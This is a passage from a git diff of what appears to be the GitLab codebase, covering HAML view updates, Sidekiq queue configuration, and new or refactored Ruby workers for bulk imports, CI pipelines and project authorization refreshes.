+ = link_to _('Learn more.'), help_page_path('ci/runners/README', anchor: 'shared-runners'), target: '_blank', rel: 'noopener noreferrer'
+ - elsif runner.group_type?
+ %h4.gl-alert-title
+ = s_('Runners|This runner is available to all projects and subgroups in a group.')
+ .gl-alert-body
+ = s_('Runners|Use Group runners when you want all projects in a group to have access to a set of runners.')
+ = link_to _('Learn more.'), help_page_path('ci/runners/README', anchor: 'group-runners'), target: '_blank', rel: 'noopener noreferrer'
+ - else
+ %h4.gl-alert-title
+ = s_('Runners|This runner is associated with specific projects.')
+ .gl-alert-body
+ = s_('Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner.')
+ = link_to _('Learn more.'), help_page_path('ci/runners/README', anchor: 'specific-runners'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/shared/runners/_runner_type_badge.html.haml b/app/views/shared/runners/_runner_type_badge.html.haml
new file mode 100644
index 00000000000..e0318006f09
--- /dev/null
+++ b/app/views/shared/runners/_runner_type_badge.html.haml
@@ -0,0 +1,10 @@
+
+- if runner.instance_type?
+ %span.badge.badge-pill.gl-badge.badge-success
+ = s_('Runners|shared')
+- elsif runner.group_type?
+ %span.badge.badge-pill.gl-badge.badge-success
+ = s_('Runners|group')
+- else
+ %span.badge.badge-pill.gl-badge.badge-info
+ = s_('Runners|specific')
diff --git a/app/views/shared/runners/show.html.haml b/app/views/shared/runners/show.html.haml
index 1af04b808bf..757ec870f79 100644
--- a/app/views/shared/runners/show.html.haml
+++ b/app/views/shared/runners/show.html.haml
@@ -1,17 +1,8 @@
- page_title "#{@runner.description} ##{@runner.id}", _("Runners")
-%h3.page-title
- = s_('Runners|Runner #%{id}' % { id: @runner.id })
- .float-right
- - if @runner.instance_type?
- %span.runner-state.runner-state-shared
- = s_('Runners|Shared')
- - elsif @runner.group_type?
- %span.runner-state.runner-state-shared
- = s_('Runners|Group')
- - else
- %span.runner-state.runner-state-specific
- = s_('Runners|Specific')
+%h2.page-title
+ = s_('Runners|Runner #%{runner_id}' % { runner_id: @runner.id })
+ = render 'shared/runners/runner_type_badge', runner: @runner
.table-holder
%table.table
diff --git a/app/views/shared/tokens/_scopes_form.html.haml b/app/views/shared/tokens/_scopes_form.html.haml
index 82e32597c94..1c8e300fa8a 100644
--- a/app/views/shared/tokens/_scopes_form.html.haml
+++ b/app/views/shared/tokens/_scopes_form.html.haml
@@ -5,5 +5,5 @@
- scopes.each do |scope|
%fieldset.form-group.form-check
= check_box_tag "#{prefix}[scopes][]", scope, token.scopes.include?(scope), id: "#{prefix}_scopes_#{scope}", class: "form-check-input qa-#{scope}-radio"
- = label_tag ("#{prefix}_scopes_#{scope}"), scope, class: 'label-bold form-check-label'
+ = label_tag "#{prefix}_scopes_#{scope}", scope, class: 'label-bold form-check-label'
.text-secondary= t scope, scope: scope_description(prefix)
diff --git a/app/views/shared/web_hooks/_hook.html.haml b/app/views/shared/web_hooks/_hook.html.haml
index 5437748a57e..abe23d0be78 100644
--- a/app/views/shared/web_hooks/_hook.html.haml
+++ b/app/views/shared/web_hooks/_hook.html.haml
@@ -11,6 +11,6 @@
= hook.enable_ssl_verification ? _('enabled') : _('disabled')
.col-md-4.col-lg-5.text-right-md.gl-mt-2
- %span>= render 'shared/web_hooks/test_button', hook: hook, button_class: 'btn-sm gl-mr-3'
- %span>= link_to _('Edit'), edit_hook_path(hook), class: 'gl-button btn btn-sm gl-mr-3'
- = link_to _('Delete'), destroy_hook_path(hook), data: { confirm: _('Are you sure?') }, method: :delete, class: 'gl-button btn btn-sm'
+ %span>= render 'shared/web_hooks/test_button', hook: hook, button_class: 'btn-sm btn-default gl-mr-3'
+ %span>= link_to _('Edit'), edit_hook_path(hook), class: 'btn gl-button btn-default btn-sm gl-mr-3'
+ = link_to _('Delete'), destroy_hook_path(hook), data: { confirm: _('Are you sure?') }, method: :delete, class: 'btn gl-button btn-default btn-sm'
diff --git a/app/views/shared/web_hooks/_test_button.html.haml b/app/views/shared/web_hooks/_test_button.html.haml
index a683f75c779..3ffa45f01be 100644
--- a/app/views/shared/web_hooks/_test_button.html.haml
+++ b/app/views/shared/web_hooks/_test_button.html.haml
@@ -2,11 +2,12 @@
- hook = local_assigns.fetch(:hook)
- triggers = hook.class.triggers
-.hook-test-button.dropdown.inline>
+.hook-test-button.dropdown.gl-new-dropdown.inline>
%button.btn.gl-button{ 'data-toggle' => 'dropdown', class: button_class }
= _('Test')
= sprite_icon('chevron-down')
%ul.dropdown-menu.dropdown-menu-right{ role: 'menu' }
- - triggers.each_value do |event|
- %li
- = link_to_test_hook(hook, event)
+ .gl-new-dropdown-inner
+ - triggers.each_value do |event|
+ %li.gl-new-dropdown-item
+ = link_to_test_hook(hook, event)
diff --git a/app/views/shared/wikis/_form.html.haml b/app/views/shared/wikis/_form.html.haml
index d91e3c73c49..e121725b9af 100644
--- a/app/views/shared/wikis/_form.html.haml
+++ b/app/views/shared/wikis/_form.html.haml
@@ -1,79 +1,6 @@
-- form_classes = %w[wiki-form common-note-form gl-mt-3 js-quick-submit]
+- page_info = { last_commit_sha: @page.last_commit_sha, persisted: @page.persisted?, title: @page.title, content: @page.content || '', format: @page.format.to_s, uploads_path: uploads_path, path: wiki_page_path(@wiki, @page), wiki_path: wiki_path(@wiki), help_path: help_page_path('user/project/wiki/index'), markdown_help_path: help_page_path('user/markdown'), markdown_preview_path: wiki_page_path(@wiki, @page, action: :preview_markdown), create_path: wiki_path(@wiki, action: :create) }
-- if @page.persisted?
- - form_action = wiki_page_path(@wiki, @page)
- - form_method = :put
-- else
- - form_action = wiki_path(@wiki, action: :create)
- - form_method = :post
- - form_classes << 'js-new-wiki-page'
-
-= form_for @page, url: form_action, method: form_method,
- html: { class: form_classes },
- data: { uploads_path: uploads_path } do |f|
+.gl-mt-3
= form_errors(@page, truncate: :title)
- - if @page.persisted?
- = f.hidden_field :last_commit_sha, value: @page.last_commit_sha
-
- .form-group.row
- .col-sm-2.col-form-label= f.label :title, class: 'control-label-full-width'
- .col-sm-10
- = f.text_field :title, class: 'form-control qa-wiki-title-textbox', value: @page.title, required: true, autofocus: !@page.persisted?, placeholder: s_('Wiki|Page title')
- %span.gl-display-inline-block.gl-max-w-full.gl-mt-2.gl-text-gray-600
- = sprite_icon('bulb', size: 12, css_class: 'gl-mr-n1')
- - if @page.persisted?
- = s_("WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title.")
- = link_to sprite_icon('question-o'), help_page_path('user/project/wiki/index', anchor: 'moving-a-wiki-page'),
- target: '_blank', rel: 'noopener noreferrer'
- - else
- = s_("WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories.")
- = succeed '.' do
- = link_to _('More information'), help_page_path('user/project/wiki/index', anchor: 'creating-a-new-wiki-page'),
- target: '_blank', rel: 'noopener noreferrer'
- .form-group.row
- .col-sm-2.col-form-label= f.label :format, class: 'control-label-full-width'
- .col-sm-10
- .select-wrapper
- = f.select :format, options_for_select(Wiki::MARKUPS, {selected: @page.format}), {}, class: 'form-control select-control'
- = sprite_icon('chevron-down', css_class: 'gl-absolute gl-top-3 gl-right-3 gl-text-gray-200')
-
- .form-group.row
- .col-sm-2.col-form-label= f.label :content, class: 'control-label-full-width'
- .col-sm-10
- = render layout: 'shared/md_preview', locals: { url: wiki_page_path(@wiki, @page, action: :preview_markdown) } do
- = render 'shared/zen', f: f, attr: :content, classes: 'note-textarea qa-wiki-content-textarea', placeholder: s_("WikiPage|Write your content or drag files here…"), autofocus: @page.persisted?
- = render 'shared/notes/hints'
-
- .clearfix
- .error-alert
-
- .form-text.gl-text-gray-600
- = succeed '.' do
- - case @page.format.to_s
- - when 'rdoc'
- - link_example = '{Link title}[link:page-slug]'
- - when 'asciidoc'
- - link_example = 'link:page-slug[Link title]'
- - when 'org'
- - link_example = '[[page-slug]]'
- - else
- - link_example = '[Link Title](page-slug)'
- = html_escape(s_('WikiMarkdownTip|To link to a (new) page, simply type %{link_example}')) % { link_example: tag.code(link_example, class: 'js-markup-link-example') }
- = succeed '.' do
- - markdown_link = link_to s_("WikiMarkdownDocs|documentation"), help_page_path('user/markdown', anchor: 'wiki-specific-markdown')
- = (s_("WikiMarkdownDocs|More examples are in the %{docs_link}") % { docs_link: markdown_link }).html_safe
-
- .form-group.row
- .col-sm-2.col-form-label= f.label :commit_message, class: 'control-label-full-width'
- .col-sm-10= f.text_field :message, class: 'form-control qa-wiki-message-textbox', rows: 18, value: nil
-
- .form-actions
- - if @page && @page.persisted?
- = f.submit _("Save changes"), class: 'btn gl-button btn-confirm qa-save-changes-button js-wiki-btn-submit', disabled: 'true'
- .float-right
- = link_to _("Cancel"), wiki_page_path(@wiki, @page), class: 'btn gl-button btn-cancel btn-default'
- - else
- = f.submit s_("Wiki|Create page"), class: 'btn-confirm gl-button btn qa-create-page-button rspec-create-page-button js-wiki-btn-submit', disabled: 'true'
- .float-right
- = link_to _("Cancel"), wiki_path(@wiki), class: 'btn gl-button btn-cancel btn-default'
+#js-wiki-form{ data: { page_info: page_info.to_json, format_options: Wiki::MARKUPS.to_json } }
diff --git a/app/views/shared/wikis/history.html.haml b/app/views/shared/wikis/history.html.haml
index b1dcd2cd400..079b9768730 100644
--- a/app/views/shared/wikis/history.html.haml
+++ b/app/views/shared/wikis/history.html.haml
@@ -28,7 +28,7 @@
%td
= commit.author_name
%td
- %span.str-truncated-60
+ .commit-content
= link_to wiki_page_path(@wiki, @page, action: :diff, version_id: commit.id), { title: commit.message } do
= commit.message
%td
diff --git a/app/views/shared/wikis/pages.html.haml b/app/views/shared/wikis/pages.html.haml
index f5ba1c83de4..1889b6501c9 100644
--- a/app/views/shared/wikis/pages.html.haml
+++ b/app/views/shared/wikis/pages.html.haml
@@ -5,8 +5,6 @@
- add_page_specific_style 'page_bundles/wiki'
.wiki-page-header.top-area.flex-column.flex-lg-row
-
-
%h3.page-title.gl-flex-fill-1
= s_("Wiki|Wiki Pages")
diff --git a/app/views/sherlock/queries/_general.html.haml b/app/views/sherlock/queries/_general.html.haml
index 92f4f16f453..cd810ae10ad 100644
--- a/app/views/sherlock/queries/_general.html.haml
+++ b/app/views/sherlock/queries/_general.html.haml
@@ -26,7 +26,7 @@
.card
.card-header
.float-right
- %button.js-clipboard-trigger.btn.btn-sm{ title: t('sherlock.copy_to_clipboard'), type: :button }
+ %button.js-clipboard-trigger.gl-button.btn.btn-default.btn-sm{ title: t('sherlock.copy_to_clipboard'), type: :button }
= sprite_icon('copy-to-clipboard')
%pre.hidden
= @query.formatted_query
@@ -41,7 +41,7 @@
.card
.card-header
.float-right
- %button.js-clipboard-trigger.btn.btn-sm{ title: t('sherlock.copy_to_clipboard'), type: :button }
+ %button.js-clipboard-trigger.gl-button.btn.btn-default.btn-sm{ title: t('sherlock.copy_to_clipboard'), type: :button }
= sprite_icon('copy-to-clipboard')
%pre.hidden
= @query.explain
diff --git a/app/views/users/show.html.haml b/app/views/users/show.html.haml
index 51483df19d7..daa41e0ebfe 100644
--- a/app/views/users/show.html.haml
+++ b/app/views/users/show.html.haml
@@ -67,13 +67,13 @@
.cover-desc.cgray.mb-1.mb-sm-2
- unless @user.location.blank?
.profile-link-holder.middle-dot-divider-sm.d-block.d-sm-inline.mb-1.mb-sm-0{ itemprop: 'address', itemscope: true, itemtype: 'https://schema.org/PostalAddress' }
- = sprite_icon('location', css_class: 'vertical-align-sub fgray')
- %span.vertical-align-middle{ itemprop: 'addressLocality' }
+ = sprite_icon('location', css_class: 'fgray')
+ %span{ itemprop: 'addressLocality' }
= @user.location
- unless work_information(@user).blank?
.profile-link-holder.middle-dot-divider-sm.d-block.d-sm-inline
- = sprite_icon('work', css_class: 'vertical-align-middle fgray')
- %span.vertical-align-middle
+ = sprite_icon('work', css_class: 'fgray')
+ %span
= work_information(@user, with_schema_markup: true)
.cover-desc.cgray.mb-1.mb-sm-2
- unless @user.skype.blank?
@@ -163,6 +163,7 @@
- if profile_tab?(:activity)
#activity.tab-pane
+ .flash-container
- if can?(current_user, :read_cross_project)
%h4.prepend-top-20
= s_('UserProfile|Most Recent Activity')
diff --git a/app/views/users/terms/index.html.haml b/app/views/users/terms/index.html.haml
index da8b73fd4fd..73d0f51f9ac 100644
--- a/app/views/users/terms/index.html.haml
+++ b/app/views/users/terms/index.html.haml
@@ -6,11 +6,11 @@
.card-footer.footer-block.clearfix
- if can?(current_user, :accept_terms, @term)
.float-right
- = button_to accept_term_path(@term, redirect_params), class: 'gl-button btn btn-success gl-ml-3', data: { qa_selector: 'accept_terms_button' } do
+ = button_to accept_term_path(@term, redirect_params), class: 'gl-button btn btn-confirm gl-ml-3', data: { qa_selector: 'accept_terms_button' } do
= _('Accept terms')
- else
.float-right
- = link_to root_path, class: 'gl-button btn btn-success gl-ml-3' do
+ = link_to root_path, class: 'gl-button btn btn-confirm gl-ml-3' do
= _('Continue')
- if can?(current_user, :decline_terms, @term)
.float-right
diff --git a/app/workers/all_queues.yml b/app/workers/all_queues.yml
index ff26aa7a4be..fa6ea54e342 100644
--- a/app/workers/all_queues.yml
+++ b/app/workers/all_queues.yml
@@ -25,7 +25,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent: true
+ :idempotent:
:tags: []
- :name: authorized_project_update:authorized_project_update_user_refresh_with_low_urgency
:feature_category: :authentication_and_authorization
@@ -187,6 +187,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: cronjob:database_batched_background_migration
+ :feature_category: :database
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: cronjob:environments_auto_stop_cron
:feature_category: :continuous_delivery
:has_external_dependencies:
@@ -435,6 +443,22 @@
:weight: 1
:idempotent:
:tags: []
+- :name: cronjob:ssh_keys_expired_notification
+ :feature_category: :compliance_management
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
+- :name: cronjob:ssh_keys_expiring_soon_notification
+ :feature_category: :compliance_management
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: cronjob:stuck_ci_jobs
:feature_category: :continuous_integration
:has_external_dependencies:
@@ -1083,6 +1107,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: package_repositories:packages_go_sync_packages
+ :feature_category: :package_registry
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: package_repositories:packages_maven_metadata_sync
:feature_category: :package_registry
:has_external_dependencies:
@@ -1099,6 +1131,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: package_repositories:packages_rubygems_extraction
+ :feature_category: :package_registry
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: pipeline_background:archive_trace
:feature_category: :continuous_integration
:has_external_dependencies:
@@ -1187,6 +1227,14 @@
:weight: 4
:idempotent:
:tags: []
+- :name: pipeline_creation:merge_requests_create_pipeline
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :cpu
+ :weight: 4
+ :idempotent: true
+ :tags: []
- :name: pipeline_creation:run_pipeline_schedule
:feature_category: :continuous_integration
:has_external_dependencies:
@@ -1203,6 +1251,22 @@
:weight: 3
:idempotent:
:tags: []
+- :name: pipeline_default:ci_drop_pipeline
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 3
+ :idempotent: true
+ :tags: []
+- :name: pipeline_default:ci_merge_requests_add_todo_when_build_fails
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 3
+ :idempotent: true
+ :tags: []
- :name: pipeline_default:ci_pipeline_bridge_status
:feature_category: :continuous_integration
:has_external_dependencies:
@@ -1283,6 +1347,14 @@
:weight: 5
:idempotent:
:tags: []
+- :name: pipeline_processing:ci_initial_pipeline_process
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :unknown
+ :weight: 5
+ :idempotent: true
+ :tags: []
- :name: pipeline_processing:ci_resource_groups_assign_resource_from_resource_group
:feature_category: :continuous_delivery
:has_external_dependencies:
@@ -1355,6 +1427,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: todos_destroyer:todos_destroyer_destroyed_issuable
+ :feature_category: :issue_tracking
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: todos_destroyer:todos_destroyer_entity_leave
:feature_category: :issue_tracking
:has_external_dependencies:
@@ -1475,6 +1555,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: bulk_imports_pipeline
+ :feature_category: :importers
+ :has_external_dependencies: true
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
- :name: chat_notification
:feature_category: :chatops
:has_external_dependencies: true
@@ -1781,9 +1869,9 @@
:idempotent: true
:tags: []
- :name: mailers
- :feature_category:
+ :feature_category: :issue_tracking
:has_external_dependencies:
- :urgency:
+ :urgency: low
:resource_boundary:
:weight: 2
:idempotent:
@@ -1812,6 +1900,14 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: merge_requests_assignees_change
+ :feature_category: :source_code_management
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: merge_requests_delete_source_branch
:feature_category: :source_code_management
:has_external_dependencies:
@@ -1820,6 +1916,22 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: merge_requests_handle_assignees_change
+ :feature_category: :code_review
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
+- :name: merge_requests_resolve_todos
+ :feature_category: :code_review
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: metrics_dashboard_prune_old_annotations
:feature_category: :metrics
:has_external_dependencies:
@@ -2056,6 +2168,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: projects_post_creation
+ :feature_category: :source_code_management
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: projects_schedule_bulk_repository_shard_moves
:feature_category: :gitaly
:has_external_dependencies:
@@ -2273,7 +2393,7 @@
:idempotent:
:tags: []
- :name: update_highest_role
- :feature_category: :authentication_and_authorization
+ :feature_category: :utilization
:has_external_dependencies:
:urgency: :high
:resource_boundary: :unknown
diff --git a/app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb b/app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb
index 9bd1ad2ed30..6635c322ab8 100644
--- a/app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb
+++ b/app/workers/authorized_project_update/user_refresh_over_user_range_worker.rb
@@ -1,18 +1,49 @@
# frozen_string_literal: true
module AuthorizedProjectUpdate
- class UserRefreshOverUserRangeWorker
+ class UserRefreshOverUserRangeWorker # rubocop:disable Scalability/IdempotentWorker
+ # When the feature flag named `periodic_project_authorization_update_via_replica` is enabled,
+ # this worker checks if a specific user requires an update to their project_authorizations records.
+ # This check is done via the data read from the database replica (and not from the primary).
+ # If this check returns true, a completely new Sidekiq job is enqueued for this specific user
+ # so as to update its project_authorizations records.
+
+ # There is a possibility that the data in the replica is lagging behind the primary
+ # and hence it becomes very important that we check if an update is indeed required for this user
+ # once again via the primary database, which is the reason why we enqueue a completely new Sidekiq job
+ # via `UserRefreshWithLowUrgencyWorker` for this user.
+
include ApplicationWorker
feature_category :authentication_and_authorization
urgency :low
queue_namespace :authorized_project_update
+ # This job will not be deduplicated since it is marked with
+ # `data_consistency :delayed` and not `idempotent!`
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/325291
deduplicate :until_executing, including_scheduled: true
-
- idempotent!
+ data_consistency :delayed, feature_flag: :periodic_project_authorization_update_via_replica
def perform(start_user_id, end_user_id)
- AuthorizedProjectUpdate::RecalculateForUserRangeService.new(start_user_id, end_user_id).execute
+ if Feature.enabled?(:periodic_project_authorization_update_via_replica)
+ User.where(id: start_user_id..end_user_id).find_each do |user| # rubocop: disable CodeReuse/ActiveRecord
+ enqueue_project_authorizations_refresh(user) if project_authorizations_needs_refresh?(user)
+ end
+ else
+ AuthorizedProjectUpdate::RecalculateForUserRangeService.new(start_user_id, end_user_id).execute
+ end
+ end
+
+ private
+
+ def project_authorizations_needs_refresh?(user)
+ AuthorizedProjectUpdate::FindRecordsDueForRefreshService.new(user).needs_refresh?
+ end
+
+ def enqueue_project_authorizations_refresh(user)
+ with_context(user: user) do
+ AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker.perform_async(user.id)
+ end
end
end
end
diff --git a/app/workers/build_finished_worker.rb b/app/workers/build_finished_worker.rb
index 3f99b30fdf7..aeda8d113ac 100644
--- a/app/workers/build_finished_worker.rb
+++ b/app/workers/build_finished_worker.rb
@@ -37,6 +37,10 @@ class BuildFinishedWorker # rubocop:disable Scalability/IdempotentWorker
ExpirePipelineCacheWorker.perform_async(build.pipeline_id)
ChatNotificationWorker.perform_async(build.id) if build.pipeline.chat?
+ if build.failed?
+ ::Ci::MergeRequests::AddTodoWhenBuildFailsWorker.perform_async(build.id)
+ end
+
##
# We want to delay sending a build trace to object storage operation to
# validate that this fixes a race condition between this and flushing live
diff --git a/app/workers/build_hooks_worker.rb b/app/workers/build_hooks_worker.rb
index ce4aa7229aa..5e05063f058 100644
--- a/app/workers/build_hooks_worker.rb
+++ b/app/workers/build_hooks_worker.rb
@@ -7,6 +7,7 @@ class BuildHooksWorker # rubocop:disable Scalability/IdempotentWorker
queue_namespace :pipeline_hooks
feature_category :continuous_integration
urgency :high
+ data_consistency :delayed, feature_flag: :load_balancing_for_build_hooks_worker
# rubocop: disable CodeReuse/ActiveRecord
def perform(build_id)
diff --git a/app/workers/bulk_import_worker.rb b/app/workers/bulk_import_worker.rb
index e6bc54895a7..b4b9d9b05c1 100644
--- a/app/workers/bulk_import_worker.rb
+++ b/app/workers/bulk_import_worker.rb
@@ -21,9 +21,11 @@ class BulkImportWorker # rubocop:disable Scalability/IdempotentWorker
@bulk_import.start! if @bulk_import.created?
created_entities.first(next_batch_size).each do |entity|
- entity.start!
+ create_pipeline_tracker_for(entity)
BulkImports::EntityWorker.perform_async(entity.id)
+
+ entity.start!
end
re_enqueue
@@ -65,4 +67,13 @@ class BulkImportWorker # rubocop:disable Scalability/IdempotentWorker
def re_enqueue
BulkImportWorker.perform_in(PERFORM_DELAY, @bulk_import.id)
end
+
+ def create_pipeline_tracker_for(entity)
+ BulkImports::Stage.pipelines.each do |stage, pipeline|
+ entity.trackers.create!(
+ stage: stage,
+ pipeline_name: pipeline
+ )
+ end
+ end
end
diff --git a/app/workers/bulk_imports/entity_worker.rb b/app/workers/bulk_imports/entity_worker.rb
index 5b41ccbdea1..7f173b738cf 100644
--- a/app/workers/bulk_imports/entity_worker.rb
+++ b/app/workers/bulk_imports/entity_worker.rb
@@ -10,24 +10,47 @@ module BulkImports
worker_has_external_dependencies!
- def perform(entity_id)
- entity = BulkImports::Entity.with_status(:started).find_by_id(entity_id)
+ def perform(entity_id, current_stage = nil)
+ return if stage_running?(entity_id, current_stage)
+
+ logger.info(
+ worker: self.class.name,
+ entity_id: entity_id,
+ current_stage: current_stage
+ )
+
+ next_pipeline_trackers_for(entity_id).each do |pipeline_tracker|
+ BulkImports::PipelineWorker.perform_async(
+ pipeline_tracker.id,
+ pipeline_tracker.stage,
+ entity_id
+ )
+ end
+ rescue => e
+ logger.error(
+ worker: self.class.name,
+ entity_id: entity_id,
+ current_stage: current_stage,
+ error_message: e.message
+ )
+
+ Gitlab::ErrorTracking.track_exception(e, entity_id: entity_id)
+ end
- if entity
- entity.update!(jid: jid)
+ private
- BulkImports::Importers::GroupImporter.new(entity).execute
- end
+ def stage_running?(entity_id, stage)
+ return unless stage
- rescue => e
- extra = {
- bulk_import_id: entity&.bulk_import&.id,
- entity_id: entity&.id
- }
+ BulkImports::Tracker.stage_running?(entity_id, stage)
+ end
- Gitlab::ErrorTracking.track_exception(e, extra)
+ def next_pipeline_trackers_for(entity_id)
+ BulkImports::Tracker.next_pipeline_trackers_for(entity_id)
+ end
- entity&.fail_op
+ def logger
+ @logger ||= Gitlab::Import::Logger.build
end
end
end
diff --git a/app/workers/bulk_imports/pipeline_worker.rb b/app/workers/bulk_imports/pipeline_worker.rb
new file mode 100644
index 00000000000..a6de3c36205
--- /dev/null
+++ b/app/workers/bulk_imports/pipeline_worker.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module BulkImports
+ class PipelineWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ feature_category :importers
+
+ sidekiq_options retry: false, dead: false
+
+ worker_has_external_dependencies!
+
+ def perform(pipeline_tracker_id, stage, entity_id)
+ pipeline_tracker = ::BulkImports::Tracker
+ .with_status(:created)
+ .find_by_id(pipeline_tracker_id)
+
+ if pipeline_tracker.present?
+ logger.info(
+ worker: self.class.name,
+ entity_id: pipeline_tracker.entity.id,
+ pipeline_name: pipeline_tracker.pipeline_name
+ )
+
+ run(pipeline_tracker)
+ else
+ logger.error(
+ worker: self.class.name,
+ entity_id: entity_id,
+ pipeline_tracker_id: pipeline_tracker_id,
+ message: 'Unstarted pipeline not found'
+ )
+ end
+
+ ensure
+ ::BulkImports::EntityWorker.perform_async(entity_id, stage)
+ end
+
+ private
+
+ def run(pipeline_tracker)
+ pipeline_tracker.update!(status_event: 'start', jid: jid)
+
+ context = ::BulkImports::Pipeline::Context.new(pipeline_tracker)
+
+ pipeline_tracker.pipeline_class.new(context).run
+
+ pipeline_tracker.finish!
+ rescue => e
+ pipeline_tracker.fail_op!
+
+ logger.error(
+ worker: self.class.name,
+ entity_id: pipeline_tracker.entity.id,
+ pipeline_name: pipeline_tracker.pipeline_name,
+ message: e.message
+ )
+
+ Gitlab::ErrorTracking.track_exception(
+ e,
+ entity_id: pipeline_tracker.entity.id,
+ pipeline_name: pipeline_tracker.pipeline_name
+ )
+ end
+
+ def logger
+ @logger ||= Gitlab::Import::Logger.build
+ end
+ end
+end
diff --git a/app/workers/chaos/kill_worker.rb b/app/workers/chaos/kill_worker.rb
index 3dedd47a1f9..4148c139d42 100644
--- a/app/workers/chaos/kill_worker.rb
+++ b/app/workers/chaos/kill_worker.rb
@@ -7,8 +7,8 @@ module Chaos
sidekiq_options retry: false
- def perform
- Gitlab::Chaos.kill
+ def perform(signal)
+ Gitlab::Chaos.kill(signal)
end
end
end
diff --git a/app/workers/ci/drop_pipeline_worker.rb b/app/workers/ci/drop_pipeline_worker.rb
new file mode 100644
index 00000000000..d19157a47e8
--- /dev/null
+++ b/app/workers/ci/drop_pipeline_worker.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Ci
+ class DropPipelineWorker
+ include ApplicationWorker
+ include PipelineQueue
+
+ idempotent!
+
+ def perform(pipeline_id, failure_reason)
+ Ci::Pipeline.find_by_id(pipeline_id).try do |pipeline|
+ Ci::DropPipelineService.new.execute(pipeline, failure_reason.to_sym)
+ end
+ end
+ end
+end
diff --git a/app/workers/ci/initial_pipeline_process_worker.rb b/app/workers/ci/initial_pipeline_process_worker.rb
new file mode 100644
index 00000000000..f59726c87fb
--- /dev/null
+++ b/app/workers/ci/initial_pipeline_process_worker.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Ci
+ class InitialPipelineProcessWorker
+ include ApplicationWorker
+ include PipelineQueue
+
+ queue_namespace :pipeline_processing
+ feature_category :continuous_integration
+ urgency :high
+ loggable_arguments 1
+ idempotent!
+
+ def perform(pipeline_id)
+ Ci::Pipeline.find_by_id(pipeline_id).try do |pipeline|
+ Ci::ProcessPipelineService
+ .new(pipeline)
+ .execute
+ end
+ end
+ end
+end
diff --git a/app/workers/ci/merge_requests/add_todo_when_build_fails_worker.rb b/app/workers/ci/merge_requests/add_todo_when_build_fails_worker.rb
new file mode 100644
index 00000000000..d5e097dc2b5
--- /dev/null
+++ b/app/workers/ci/merge_requests/add_todo_when_build_fails_worker.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+module Ci
+ module MergeRequests
+ class AddTodoWhenBuildFailsWorker
+ include ApplicationWorker
+ include PipelineQueue
+
+ urgency :low
+ idempotent!
+
+ def perform(job_id)
+ job = ::CommitStatus.with_pipeline.find_by_id(job_id)
+ project = job&.project
+
+ return unless job && project
+
+ ::MergeRequests::AddTodoWhenBuildFailsService.new(job.project, nil).execute(job)
+ end
+ end
+ end
+end
diff --git a/app/workers/ci/pipeline_artifacts/expire_artifacts_worker.rb b/app/workers/ci/pipeline_artifacts/expire_artifacts_worker.rb
index 0bb911bc6c8..fff979d95a9 100644
--- a/app/workers/ci/pipeline_artifacts/expire_artifacts_worker.rb
+++ b/app/workers/ci/pipeline_artifacts/expire_artifacts_worker.rb
@@ -14,7 +14,7 @@ module Ci
feature_category :continuous_integration
def perform
- service = ::Ci::PipelineArtifacts::DestroyExpiredArtifactsService.new
+ service = ::Ci::PipelineArtifacts::DestroyAllExpiredService.new
artifacts_count = service.execute
log_extra_metadata_on_done(:destroyed_pipeline_artifacts_count, artifacts_count)
end
diff --git a/app/workers/concerns/application_worker.rb b/app/workers/concerns/application_worker.rb
index d101ef100d8..0de26e27631 100644
--- a/app/workers/concerns/application_worker.rb
+++ b/app/workers/concerns/application_worker.rb
